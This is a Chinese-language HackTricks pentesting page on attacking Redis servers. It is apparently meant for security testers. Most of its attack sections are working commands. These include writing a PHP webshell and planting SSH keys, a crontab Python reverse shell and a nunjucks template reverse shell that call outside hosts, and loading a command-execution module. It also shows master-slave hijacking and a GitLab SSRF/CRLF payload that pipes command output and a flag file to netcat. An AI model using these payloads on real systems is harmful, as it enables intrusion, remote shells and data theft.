17 KiB
6379 - Pentesting Redis
{% hint style="success" %}
学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 电报群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 分享黑客技巧。
加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客见解
参与深入探讨黑客的刺激与挑战的内容
实时黑客新闻
通过实时新闻和见解,跟上快速变化的黑客世界
最新公告
了解最新的漏洞赏金计划和重要平台更新
今天就加入我们,进入 Discord,与顶尖黑客开始合作吧!
基本信息
来自 文档:Redis 是一个开源(BSD 许可),内存中的 数据结构存储,用作 数据库、缓存和消息代理。
默认情况下,Redis 使用基于纯文本的协议,但您必须记住,它也可以实现 ssl/tls。了解如何 在这里运行带有 ssl/tls 的 Redis。
默认端口: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
自动枚举
一些可以帮助从 Redis 实例获取信息的自动化工具:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
手动枚举
横幅
Redis 是一个 基于文本的协议,你可以直接 在套接字中发送命令,返回的值将是可读的。还要记住,Redis 可以使用 ssl/tls 运行(但这很少见)。
在一个常规的 Redis 实例中,你可以直接使用 nc
连接,或者你也可以使用 redis-cli
:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
您可以尝试的第一个命令是**info
。它可能返回包含Redis实例信息的输出**,或者返回类似以下内容:
-NOAUTH Authentication required.
在这种情况下,这意味着 您需要有效的凭据 来访问 Redis 实例。
Redis 认证
默认情况下 Redis 可以 不需要凭据 进行访问。然而,它可以被 配置 为仅支持 密码,或用户名 + 密码。
可以在 redis.conf 文件中使用参数 requirepass
设置密码,或临时 直到服务重启,连接到它并运行:config set requirepass p@ss$12E45
。
此外,可以在 redis.conf 文件中的参数 masteruser
中配置 用户名。
{% hint style="info" %}
如果仅配置了密码,则使用的用户名是 "default"。
另外,请注意 没有办法从外部找到 Redis 是否仅配置了密码或用户名+密码。
{% endhint %}
在这种情况下,您将 需要找到有效的凭据 来与 Redis 交互,因此您可以尝试 暴力破解。
如果您找到了有效的凭据,您需要在建立连接后使用以下命令进行会话认证:
AUTH <username> <password>
有效凭据将会返回:+OK
认证枚举
如果Redis服务器允许匿名连接或您已获得有效凭据,您可以使用以下命令启动服务的枚举过程:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
请注意,实例的 Redis 命令可以在 redis.conf 文件中重命名或删除。例如,这一行将删除命令 FLUSHDB:
rename-command FLUSHDB ""
有关如何安全配置Redis服务的更多信息,请访问:https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
您还可以使用命令**monitor
实时监控执行的Redis命令**,或使用**slowlog get 25
获取25个最慢的查询**。
在这里找到更多有趣的Redis命令信息:https://lzone.de/cheat-sheet/Redis
转储数据库
在Redis中,数据库是从0开始的数字。您可以在命令info
的输出中找到是否有人在“Keyspace”块中使用:
或者您可以通过以下方式获取所有键空间(数据库):
INFO keyspace
在这个例子中,数据库 0 和 1 正在被使用。数据库 0 包含 4 个键,而数据库 1 包含 1 个。默认情况下,Redis 将使用数据库 0。为了导出例如数据库 1,您需要执行:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
如果在运行 GET <KEY>
时出现以下错误 -WRONGTYPE Operation against a key holding the wrong kind of value
,这可能是因为该键的类型不是字符串或整数,并且需要特殊操作符来显示它。
要知道键的类型,请使用 TYPE
命令,下面是列表和哈希键的示例。
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
使用 npm 导出数据库 redis-dump 或 python redis-utils
加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客洞察
参与深入探讨黑客的刺激与挑战的内容
实时黑客新闻
通过实时新闻和见解,跟上快速变化的黑客世界
最新公告
了解最新的漏洞赏金计划和重要平台更新
今天就加入我们 Discord,与顶尖黑客开始合作!
Redis RCE
交互式 Shell
redis-rogue-server 可以在 Redis(<=5.0.5) 中自动获取交互式 shell 或反向 shell。
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
来自这里的信息。你必须知道网站文件夹的路径:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
如果 webshell 访问异常,您可以在备份后清空数据库并重试,记得恢复数据库。
模板 Webshell
与前一节一样,您还可以覆盖一些将被模板引擎解释的 html 模板文件,从而获得 shell。
例如,遵循 这篇文章,您可以看到攻击者在 nunjucks 模板引擎 解释的 html 中注入了 rev shell:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
{% hint style="warning" %} 注意,多个模板引擎会将模板缓存到内存中,因此即使您覆盖它们,新的模板也不会被执行。在这种情况下,开发人员要么保持自动重载处于活动状态,要么您需要对服务进行DoS攻击(并期望它会自动重新启动)。 {% endhint %}
SSH
示例 来自这里
请注意,config get dir
的结果在其他手动利用命令后可能会改变。建议在登录Redis后立即运行它。在**config get dir
** 的输出中,您可以找到redis用户的主目录(通常是 /var/lib/redis 或 /home/redis/.ssh),知道这一点后,您就知道可以在哪里写入 authenticated_users
文件以通过 redis用户 进行ssh访问。如果您知道其他有效用户的主目录并且您有可写权限,您也可以利用它:
- 在您的电脑上生成一个ssh公钥-私钥对:
ssh-keygen -t rsa
- 将公钥写入文件:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
- 将文件导入redis:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
- 将公钥保存到redis服务器上的authorized_keys文件中:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- 最后,您可以使用私钥ssh到redis服务器:ssh -i id_rsa redis@10.85.0.52
此技术在这里自动化: https://github.com/Avinash-acid/Redis-Server-Exploit
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
The last example is for Ubuntu, for Centos, the above command should be: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
这种方法也可以用来赚取比特币:yam
Load Redis Module
- 按照 https://github.com/n0b0dyCN/RedisModules-ExecuteCommand 的说明,你可以 编译一个 redis 模块以执行任意命令。
- 然后你需要某种方式来 上传编译好的 模块。
- 在运行时加载上传的模块,使用
MODULE LOAD /path/to/mymodule.so
。 - 列出已加载的模块 以检查它是否正确加载:
MODULE LIST
。 - 执行 命令:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- 随时卸载模块:
MODULE UNLOAD mymodule
。
LUA sandbox bypass
这里 你可以看到 Redis 使用命令 EVAL 来执行 Lua 代码沙箱。在链接的帖子中,你可以看到 如何滥用它 使用 dofile 函数,但 显然 这已经不再可能。无论如何,如果你能 绕过 Lua 沙箱,你可以 在系统上执行任意 命令。此外,从同一帖子中你可以看到一些 导致 DoS 的选项。
一些 CVE 用于逃避 LUA:
Master-Slave Module
主 Redis 的所有操作会自动同步到从 Redis,这意味着我们可以将漏洞 Redis 视为一个从 Redis,连接到我们自己控制的主 Redis,然后我们可以向我们自己的 Redis 输入命令。
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF 与 Redis 通信
如果您可以发送 明文 请求 到 Redis,您可以 与其通信,因为 Redis 会逐行读取请求,并仅对它不理解的行返回错误:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
因此,如果您在网站中发现了一个 SSRF vuln,并且您可以 控制 一些 headers(可能通过 CRLF vuln)或 POST 参数,您将能够向 Redis 发送任意命令。
示例:Gitlab SSRF + CRLF 到 Shell
在 Gitlab11.4.7 中发现了一个 SSRF 漏洞和一个 CRLF。该 SSRF 漏洞存在于 从 URL 导入项目功能 中,在创建新项目时允许以 [0:0:0:0:0:ffff:127.0.0.1] 的形式访问任意 IP(这将访问 127.0.0.1),而 CRLF 漏洞则是通过向 URL 添加 %0D%0A 字符来利用的。
因此,可以 利用这些漏洞与管理来自 gitlab 的队列的 Redis 实例进行通信,并利用这些队列 获得代码执行。Redis 队列滥用有效载荷是:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
并且URL编码请求滥用SSRF和CRLF来执行whoami
并通过nc
发送回输出的内容是:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
出于某种原因(正如 https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ 中作者所述),利用git
方案而不是http
方案成功。
加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客洞察
参与深入探讨黑客的刺激与挑战的内容
实时黑客新闻
通过实时新闻和见解,跟上快速变化的黑客世界
最新公告
了解最新的漏洞赏金计划和重要平台更新
加入我们 Discord,今天就开始与顶级黑客合作!
{% hint style="success" %}
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 电报群组 或 在 Twitter 🐦 @hacktricks_live上关注我们。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。